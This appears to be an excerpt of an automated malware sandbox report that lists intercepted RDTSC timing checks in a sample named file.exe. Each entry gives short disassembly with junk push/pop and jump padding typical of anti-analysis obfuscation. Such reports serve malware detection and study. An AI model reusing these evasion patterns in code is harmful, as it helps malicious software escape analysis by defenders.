Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A24F second address: 66A26D instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD4D8B12EC4h 0x00000008 jbe 00007FD4D8B12EBEh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5960B6 second address: 5960BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5960BE second address: 5960F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4D8B12EC3h 0x00000009 popad 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jmp 00007FD4D8B12EC6h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5960F0 second address: 5960F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B8EC second address: 66B8F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FD4D8B12EB6h 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B8F7 second address: 66B903 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jo 00007FD4D8F45596h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 681D2E second address: 681D34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6806DA second address: 6806E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6806E0 second address: 6806E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6806E4 second address: 6806F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007FD4D8F45596h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6806F2 second address: 6806F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6806F6 second address: 68071C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a pushad 0x0000000b popad 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FD4D8F455A7h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 680B56 second address: 680B5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 680E17 second address: 680E24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68199F second address: 6819BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FD4D8B12EC6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 684587 second address: 68458C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68458C second address: 684594 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 684594 second address: 68459A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6842B6 second address: 6842BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6842BB second address: 6842C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69096A second address: 690979 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4D8B12EBBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 692D99 second address: 692DD2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FD4D8F455A6h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD4D8F455A7h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 692DD2 second address: 692DD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 692DD6 second address: 692DDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 692DDA second address: 692DE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 692DE2 second address: 692DFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FD4D8F455A4h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A2D07 second address: 6A2D15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A2D15 second address: 6A2D24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push esi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jns 00007FD4D8F45596h 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BAD12 second address: 6BAD20 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BAD20 second address: 6BAD26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BAFC3 second address: 6BAFE3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push edx 0x00000008 pop edx 0x00000009 jg 00007FD4D8B12EB6h 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 jnc 00007FD4D8B12EBEh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BAFE3 second address: 6BB013 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8F455A3h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FD4D8F455A3h 0x0000000e js 00007FD4D8F45596h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB178 second address: 6BB1B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4D8B12EBCh 0x00000009 jmp 00007FD4D8B12EC5h 0x0000000e popad 0x0000000f jo 00007FD4D8B12EC0h 0x00000015 jmp 00007FD4D8B12EBAh 0x0000001a je 00007FD4D8B12EC2h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB1B6 second address: 6BB1CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FD4D8F45596h 0x0000000a popad 0x0000000b jnl 00007FD4D8F455A4h 0x00000011 push esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB1CA second address: 6BB1D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB882 second address: 6BB8CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD4D8F4559Eh 0x00000008 jl 00007FD4D8F45596h 0x0000000e jg 00007FD4D8F45596h 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FD4D8F455A8h 0x0000001e jng 00007FD4D8F4559Eh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BBA6F second address: 6BBA73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BBA73 second address: 6BBA94 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD4D8F45596h 0x00000008 jmp 00007FD4D8F455A7h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BE9E2 second address: 6BE9E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BE9E7 second address: 6BE9FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FD4D8F45596h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [eax] 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BE9FC second address: 6BEA14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a popad 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jne 00007FD4D8B12EB6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BEC42 second address: 6BEC79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop esi 0x00000006 nop 0x00000007 mov dword ptr [ebp+1245DEFDh], edx 0x0000000d push dword ptr [ebp+122D3065h] 0x00000013 call 00007FD4D8F4559Fh 0x00000018 xor dword ptr [ebp+122D2C1Ch], ebx 0x0000001e pop edx 0x0000001f call 00007FD4D8F45599h 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BEC79 second address: 6BEC80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BEC80 second address: 6BEC8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FD4D8F45596h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BEC8A second address: 6BEC9C instructions: 0x00000000 rdtsc 0x00000002 je 00007FD4D8B12EB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BEC9C second address: 6BECA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BECA3 second address: 6BECA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BECA9 second address: 6BECF1 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD4D8F45596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jmp 00007FD4D8F455A7h 0x00000015 mov eax, dword ptr [eax] 0x00000017 pushad 0x00000018 push ecx 0x00000019 pushad 0x0000001a popad 0x0000001b pop ecx 0x0000001c pushad 0x0000001d jmp 00007FD4D8F455A7h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BECF1 second address: 6BED04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007FD4D8B12EB6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BFEB2 second address: 6BFEB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BFEB6 second address: 6BFECA instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD4D8B12EB6h 0x00000008 jc 00007FD4D8B12EB6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BFECA second address: 6BFEE5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FD4D8F455A2h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BFEE5 second address: 6BFEF0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jbe 00007FD4D8B12EB6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BFEF0 second address: 6BFEF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C375C second address: 6C3762 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3762 second address: 6C3777 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007FD4D8F4559Ch 0x0000000c jnc 00007FD4D8F45596h 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D8042 second address: 5D804F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007FD4D8B12EBCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0521 second address: 4BB0525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0525 second address: 4BB0541 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8B12EC8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0541 second address: 4BB0546 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0546 second address: 4BB0566 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, edx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD4D8B12EC4h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0566 second address: 4BB05B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD4D8F4559Dh 0x00000008 pop ecx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e pushad 0x0000000f mov si, di 0x00000012 mov esi, edx 0x00000014 popad 0x00000015 push ebx 0x00000016 jmp 00007FD4D8F455A0h 0x0000001b mov dword ptr [esp], ecx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FD4D8F455A7h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB05B0 second address: 4BB05B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB067B second address: 4BB0681 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0681 second address: 4BB06AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [ebp-04h], 00000000h 0x0000000c jmp 00007FD4D8B12EC7h 0x00000011 mov esi, eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB06AC second address: 4BB06C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8F455A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0731 second address: 4BB0737 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0737 second address: 4BB0763 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8F4559Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD4D8F455A7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0763 second address: 4BB0769 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0769 second address: 4BB076D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB076D second address: 4BB0771 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0771 second address: 4BB0780 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0780 second address: 4BB0786 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0786 second address: 4BA002F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8F4559Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d cmp eax, 00000000h 0x00000010 setne al 0x00000013 xor ebx, ebx 0x00000015 test al, 01h 0x00000017 jne 00007FD4D8F45597h 0x00000019 xor eax, eax 0x0000001b sub esp, 08h 0x0000001e mov dword ptr [esp], 00000000h 0x00000025 mov dword ptr [esp+04h], 00000000h 0x0000002d call 00007FD4DD6DE9D3h 0x00000032 mov edi, edi 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 movsx edx, ax 0x0000003a pushfd 0x0000003b jmp 00007FD4D8F455A6h 0x00000040 adc al, FFFFFFD8h 0x00000043 jmp 00007FD4D8F4559Bh 0x00000048 popfd 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA002F second address: 4BA005B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jmp 00007FD4D8B12EBCh 0x0000000e mov dword ptr [esp], ebp 0x00000011 pushad 0x00000012 mov ebx, ecx 0x00000014 pushad 0x00000015 mov ax, 8C6Fh 0x00000019 mov cl, 80h 0x0000001b popad 0x0000001c popad 0x0000001d mov ebp, esp 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA005B second address: 4BA005F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA005F second address: 4BA0065 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0065 second address: 4BA007B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8F4559Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push FFFFFFFEh 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA007B second address: 4BA0092 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007FD4D8B12EC1h 0x00000009 pop ecx 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0092 second address: 4BA00C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, dl 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 6B3C6E83h 0x0000000d jmp 00007FD4D8F4559Bh 0x00000012 add dword ptr [esp], 0A6E2FC5h 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FD4D8F455A0h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA00C5 second address: 4BA00C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA00C9 second address: 4BA00CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA00CF second address: 4BA014F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8B12EBEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 41BC3155h 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FD4D8B12EC7h 0x00000015 and ax, 417Eh 0x0000001a jmp 00007FD4D8B12EC9h 0x0000001f popfd 0x00000020 call 00007FD4D8B12EC0h 0x00000025 jmp 00007FD4D8B12EC2h 0x0000002a pop eax 0x0000002b popad 0x0000002c add dword ptr [esp], 33E8FA1Bh 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA014F second address: 4BA0155 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0155 second address: 4BA01B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD4D8B12EBBh 0x00000009 add ecx, 14B690EEh 0x0000000f jmp 00007FD4D8B12EC9h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007FD4D8B12EC0h 0x0000001b adc eax, 73CA1868h 0x00000021 jmp 00007FD4D8B12EBBh 0x00000026 popfd 0x00000027 popad 0x00000028 pop edx 0x00000029 pop eax 0x0000002a mov eax, dword ptr fs:[00000000h] 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA01B6 second address: 4BA01BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA01BA second address: 4BA01BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA01BE second address: 4BA01C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
